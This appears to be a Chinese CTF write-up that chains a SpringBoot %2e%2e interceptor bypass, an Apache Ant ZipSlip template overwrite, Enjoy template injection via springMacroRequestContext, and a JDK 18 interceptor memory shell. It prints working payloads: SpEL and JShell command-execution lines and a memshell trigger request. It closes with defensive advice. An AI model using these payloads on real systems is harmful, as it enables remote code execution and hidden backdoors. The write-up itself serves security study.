从一道赛题学习zipSlip到Enjoy的SSTI
字数 4221
更新时间 2026-03-18 14:01:02

从一道CTF赛题学习ZipSlip漏洞与Enjoy模板注入技术

0x01 赛题核心考点分析

本题是一道综合性CTF题目,涵盖多个安全漏洞与利用技巧,主要包含以下四个考点:

  1. SpringBoot特定版本的路径遍历绕过技巧:利用%2e.的URL编码)绕过拦截器对..的拦截,适用于SpringBoot版本 ≤ 2.3.0.RELEASE。
  2. Apache Ant组件的ZipSlip漏洞:利用org.apache.ant组件在解压ZIP文件时未正确验证压缩包内条目路径的安全性,实现跨目录文件写入。
  3. Enjoy国产模板引擎注入:利用Enjoy模板引擎默认暴露的springMacroRequestContext对象,结合Spring上下文进行远程代码执行。
  4. JDK 18高版本环境下的内存马植入:在JDK 9及以上版本引入的模块化(Module)安全机制下,实现拦截器内存马的注入与利用。

0x02 解题思路与技术细节详解

一、 环境与代码分析

1. 应用配置

  • 应用端口:9124
  • 关键路径配置:
    • file.upload.path=/usr/src/app/upload (文件上传路径)
    • file.download.path=/usr/src/app/upload (文件下载路径)
    • template.path=/usr/src/app/template (模板文件路径)
  • 模板引擎:使用JFinal Enjoy,模板文件位置位于JAR包外部(template.path),这意味着模板文件可被覆盖。

2. 关键路由与功能

  • /admin/upload:ZIP文件上传与解压功能点,存在ZipSlip漏洞跨目录文件上传风险。
  • /index:任意文件下载功能,但过滤了文件名包含flagproc的请求,因此无法直接获取flag。
  • /admin/hello:返回的视图由JAR包外的模板文件渲染,该模板文件可被覆盖。

3. 安全防护与绕过

  • 拦截器UserInterceptor拦截了/admin/*下所有路径,并对路径中的.../进行了过滤。
  • 绕过方法:在SpringBoot ≤ 2.3.0.RELEASE版本中,可使用%2e%2e(即..的URL编码形式)绕过该拦截器的路径遍历过滤,从而直接访问/admin/upload等受保护路由。例如,访问路径为:/index/%2e%2e/admin/upload

二、 ZipSlip漏洞利用

1. 漏洞原理
题目环境中使用了org.apache.ant:1.9.11组件进行ZIP解压。该组件存在经典的ZipSlip漏洞。攻击者可以构造一个特殊的ZIP压缩包,其中包含的条目(Entry)文件名包含目录遍历序列(如../../.././../)。虽然后端代码可能过滤了以../开头的文件名,但可利用./进行绕过(例如:./../../template/admin/hello.html)。当服务端解压此类压缩包时,会将该条目文件解压到文件名指定的穿越目录路径,造成任意文件覆盖。

2. 漏洞利用步骤

  • 制作恶意压缩包
    • 可以使用spring-integration-zip工具或woodpecker插件的zip-tools模块来生成恶意ZIP文件。
    • 核心是设置ZIP条目的文件名(ZipHeaders.ZIP_ENTRY_FILE_NAME)为带有目录穿越序列的路径,例如:./../../template/admin/hello.html。这将导致上传的ZIP包中的文件被解压并覆盖目标模板文件。
  • 目录穿越上传:除了修改压缩包内条目名,还可通过修改上传表单的filename字段为../template/admin.zip,直接将整个压缩包上传到目标template目录,更为直接。
  • 利用目标:覆盖/usr/src/app/template/admin/目录下的模板文件(如hello.html),为后续的模板注入准备恶意模板。

三、 Enjoy模板引擎注入(SSTI)与RCE

1. 注入点与前置条件

  • 注入点:覆盖后的模板文件(如hello.html)在被/admin/hello路由渲染时执行。
  • 关键对象暴露:在Enjoy 5.1.2版本中,JFinalViewResolver默认配置了setExposeSpringMacroHelpers(true),导致springMacroRequestContext对象在模板上下文中可被访问。这是注入的前提。

2. 利用链构建(方法一)
由于Enjoy 5.1.2版本在模板扫描阶段就禁止了静态方法调用,因此无法直接复现FreeMarker中“开启静态方法开关再调用”的利用链。文档中展示的利用链如下:

  1. 获取Spring上下文
    #set(applicationContext = springMacroRequestContext.webApplicationContext)
    
  2. 获取可利用的Bean:从上下文中获取org.springframework.boot.autoconfigure.internalCachingMetadataReaderFactory这个Bean。该Bean的resourceLoader属性持有ClassLoader
    #set(cachingMetadataReaderFactory = applicationContext.getBean('org.springframework.boot.autoconfigure.internalCachingMetadataReaderFactory'))
    
  3. 利用ClassLoader加载任意类:通过cachingMetadataReaderFactory.resourceLoader.classLoader加载目标类。此处选择加载org.springframework.expression.spel.standard.SpelExpressionParser
    #set(clazz = cachingMetadataReaderFactory.resourceLoader.classLoader.loadClass("org.springframework.expression.spel.standard.SpelExpressionParser"))
    
  4. 实例化类并执行SpEL表达式:利用Spring容器中已有的jacksonObjectMapper来反序列化一个空JSON对象{}到上一步加载的SpelExpressionParser类,从而获得该类的实例。最后,通过该实例解析并执行SpEL表达式来加载并实例化内存马。
    #set(instance = applicationContext.getBean("jacksonObjectMapper").readValue("{}", clazz))
    #(instance.parseExpression("T(java.net.URLClassLoader).newInstance(new java.net.URL[]{new java.net.URL('file:////usr/src/app/upload/SpringInterceptorMemShell')}).loadClass('SpringInterceptorMemShell').newInstance()").getValue())
    
    • SpEL表达式的作用是:创建一个URLClassLoader,加载位于/usr/src/app/upload/SpringInterceptorMemShell路径的内存马字节码文件,并实例化它。

3. 利用链构建(方法二 - 赛后其他思路)

  • 方法A:模板文件包含:直接利用Enjoy的#include指令读取flag文件。
    #include("../../filename") // 假设flag文件路径已知
    
  • 方法B:分步开启静态方法调用
    1. 第一个模板:通过springMacroRequestContext获取jfinalViewResolver的engine,并开启静态方法调用。
      #(springMacroRequestContext.webApplicationContext.getBean('jfinalViewResolver').engine.setStaticMethodExpression(true))
      
    2. 第二个模板:在静态方法调用开启后,利用JShell执行系统命令。(适用于JDK高版本)
      #((jdk.jshell.JShell::create()).eval('Runtime.getRuntime().exec(new String[]{"bash", "-c", "cat /flag > /tmp/test.txt"});'))
      

四、 JDK 18高版本内存马

由于题目环境是JDK 18,需要绕过Java的模块访问限制。内存马的核心是一个实现了AsyncHandlerInterceptor接口的拦截器Log4jConfigZfjfInterceptor

1. 内存马功能

  • 拦截HTTP请求,检查请求头x-client-data是否等于"cmd"
  • 如果匹配,则从请求头cmd中读取命令。
  • 根据操作系统执行该命令,并将命令执行结果写入HTTP响应中返回。
  • 内存马代码中使用了反射、Unsafe等机制来绕过模块访问控制,确保在JDK高版本下能正常执行。

2. 内存马植入流程

  1. 将内存马Java源码编译成类文件。
  2. 将编译后的类文件(SpringInterceptorMemShell)通过任意方式(例如利用之前的任意文件下载或上传漏洞)放置到服务器可访问路径,如/usr/src/app/upload/
  3. 通过Enjoy模板注入执行SpEL表达式,利用URLClassLoader动态加载并实例化这个类,从而将内存马注入到Spring上下文中。

五、 完整攻击流程复现

  1. 信息收集与绕过:确认SpringBoot版本≤2.3.0,使用/index/%2e%2e/admin/upload路径绕过拦截器访问上传接口。
  2. 文件上传与覆盖
    • 制作恶意ZIP文件,其内部文件路径为./../../template/admin/hello.html,文件内容为上述Enjoy模板注入的Payload(方法一或方法二)。
    • 将恶意ZIP文件上传,利用Ant的ZipSlip漏洞覆盖hello.html模板。
  3. 上传内存马字节码:将编译好的内存马类文件SpringInterceptorMemShell上传至服务器指定目录(如/usr/src/app/upload/)。
  4. 触发模板注入:访问/index/%2e%2e/admin/hello路由,触发被覆盖的hello.html模板渲染,执行模板中的恶意代码,完成SpEL表达式解析、内存马加载与实例化。
  5. 连接内存马:向应用发送带有特定请求头的HTTP请求,即可实现命令执行。
    GET /any/path HTTP/1.1
    Host: target.com
    x-client-data: cmd
    cmd: id
    

0x03 总结与防御建议

漏洞链总结
%2e路径遍历绕过 → ZipSlip任意文件覆盖 → Enjoy SSTI(利用默认暴露的springMacroRequestContext) → 高版本JDK内存马植入。

防御建议

  1. 升级与补丁:及时升级SpringBoot、Apache Ant等组件至安全版本。
  2. 安全解压:对ZIP解压库,应使用安全版本,并在代码层面对压缩包内每个条目名进行规范化(canonicalize)后,严格检查是否包含路径遍历字符,确保解压路径在预期目录内。
  3. 模板引擎安全配置:对于Enjoy模板引擎,应显式配置JFinalViewResolversetExposeSpringMacroHelpers(false),避免springMacroRequestContext等Spring内部对象暴露到模板层。
  4. 输入过滤与校验:对所有用户可控的输入(如URL路径、文件名、请求参数)进行严格的校验和过滤。
  5. 最小权限原则:运行Web服务的操作系统账户应具有最小必要权限,限制其对系统关键目录的写权限。
相似文章
相似文章
 全屏